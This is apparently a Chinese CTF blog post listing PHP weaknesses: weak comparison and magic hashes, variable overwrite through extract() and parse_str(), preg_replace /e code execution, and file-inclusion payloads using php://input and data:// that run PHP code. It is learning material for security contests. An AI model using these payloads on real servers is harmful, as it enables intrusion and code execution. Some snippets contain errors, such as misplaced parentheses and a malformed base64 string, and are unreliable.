|
CTF中常见的PHP知识点总结
PHP是一门比较松散的语言,即简单方便,又容易出现一些问题。本文主要总结一些作者遇到过的一些知识点,弱类型、变量覆盖、正则表达式、以及php伪协议等。(欢迎各位小伙伴补充交流) 一 、PHP弱类型
0x01 “==”与”===”的区别
“==”在进行比较时先将字符串类型转化成相同在比较。(如果比较涉及到数字内容的字符串,则字符串会被转换成数值,并且比较按照数值大小来进行)
“===”在进行比较时先进行字符串类型判断,再比教。
“根据php手册中所讲,字符串的开头决定了它转换后的值,如果该字符串以合法的数值开始,则使用该合法数值,否则其值为0” 1 == ‘1’; //true
1 == ‘1abc’; //true
0 == ‘admin’; //true
0 === ‘admin’; //false
0e开头的字符串,在比较时被当作科学记数法。所以在hash比较时我们可以利用php弱类型,进行绕过。这里以md5为例
<?php
if(isset($_POST[&#39;uname&#39;])&&isset($_POST[&#39;pwd&#39;])){
if(md5($_POST[&#39;pwd&#39;] == 0)){
echo $flag;
}
}
?>
贴一些常用到的md5 ==0的字符串。
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514并且md5()无法处理数组,所以当传入两个数组时两边都会返回null
var_dump(md5($array1)==var_dump($array2)); //true
var_dump(null==null); //true
0x02 strcmp()、strcasecmp()函数
strcmp()和strcasecmp()函数用于比较两个字符串,前者区分大小写。这两个函数都无法处理数组,当传入数组时,返回null。
$flag = &#34;*******&#34;;
if(strcmp(($_GET[&#39;user&#39;]),$flag) == 0){
echo $flag;
}
var_dump(null==0); //true
0x03 switch()函数
如果是数字类型的case的话,switch会将参数转化为数值。
$id = &#34;2bc&#34;;
switch($id){
case 1:
case 2:
echo $flag;}
0x04 json绕过
$message = json_decode($_POST[&#39;message&#39;]);
$key =&#34;*********&#34;;
if ($message->key == $key) {
echo &#34;flag&#34;;
}
else {
echo &#34;fail&#34;;
}
}
else{
echo &#34;~~~~&#34;;
}
输入一个json类型的字符串,json_decode会解码为一个数组。payload为 message = {“key”:0}
二、变量覆盖
0x01 $$的使用
if (!isset($_POST[&#34;flag&#34;]) )
die($_403);
foreach ($_GET as $k => $v){
$$k = $$v;
}
foreach ($_POST as $k => $v){
$$k = $v;
}
if ( $_POST[&#34;flag&#34;] !== $flag )
die($_403);
echo &#34;flag: &#34;. $flag . &#34;\n&#34;;
die($_200);
0x02 extract()函数
该函数使用数组键名作为变量名,使用数组键值作为变量值针对数组中的每一个元素,将在当前符号表中创建对应的一个变量。
$flag = &#34;******&#34;
extract($_GET)
if($text == $f){
echo $flag
}
最终payload为: ?text=&f=
0x03 parse_str()函数
该函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。
$chabug = &#39;www.chabug.com&#39;;
parse_str($_SERVER[&#39;QUERY_STRING&#39;]);
echo $chabug;
payload为: ?chabug=s1ye 则页面返回 s1ye
三、正则表达式
0x01 eregi()函数
字符串对比解析,当ereg读取字符串string时,%00后面的字符串不会不会被解析。
if (ereg (&#34;^[a-zA-Z]+$&#34;, $_GET[&#39;a&#39;]) !== FALSE) {
echo &#39;You password must be alphabet&#39;;
?a=abc%00123可以绕过(php 5.3x已经不再支持该用法)
0x02 preg_replace()函数
preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。(如果没有/e修饰符可以尝试%00截断。)
preg_replace(&#34;/test/e&#34;,$_GET[&#34;chabug&#34;],&#34;jutst test&#34;);
payload: ?chabug=phpinfo()
四、PHP伪协议
php伪协议(file://,php://filter,php://input,zip://,compress.bzip2://,compress.zlib://,data://)
php版本 <= 5.2可以使用%00进行截断。
file:// 在 allow_url_fopen和allow_url_include双off情况下可以正常使用,用于访问本地文件系统。
用法: file://文件绝对路径和文件名
php:// 不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要开启allow_url_include)
php://filter 读取源码并进行base64编码输出,不然会直接当作php代码执行,就看不到源代码内容了。(在双off下可以正常使用)
php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
例如:
get: /include.php?file=php://input
post: <?php phpinfo(); ?>
就会返回phpinfo信息。也可以构造语句getshell。
zip://,bzip://,zlib://协议在双off的情况下也可以正常使用。
使用方法:
zip://chabug.zip#flag.txt(zip://绝对路径#子文件名,flag.txt内容就会以php代码执行。)
compress.bzip2://chabug.bz2和compress.zlib://chabug.gz用法相同
/include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg
data://协议(需要满足双on条件)
/include.php?file=data://text/plain,<?php phpinfo();?>
or data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
or data:text/plain,<?php phpinfo();?>
or data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
五、PHP别名
php2,php3,php4,php5,phps,pht,phtm,phtml。
在这里把自己遇到的一些常见知识点总结并分享出来,欢迎各位小伙伴交流指点。 |
|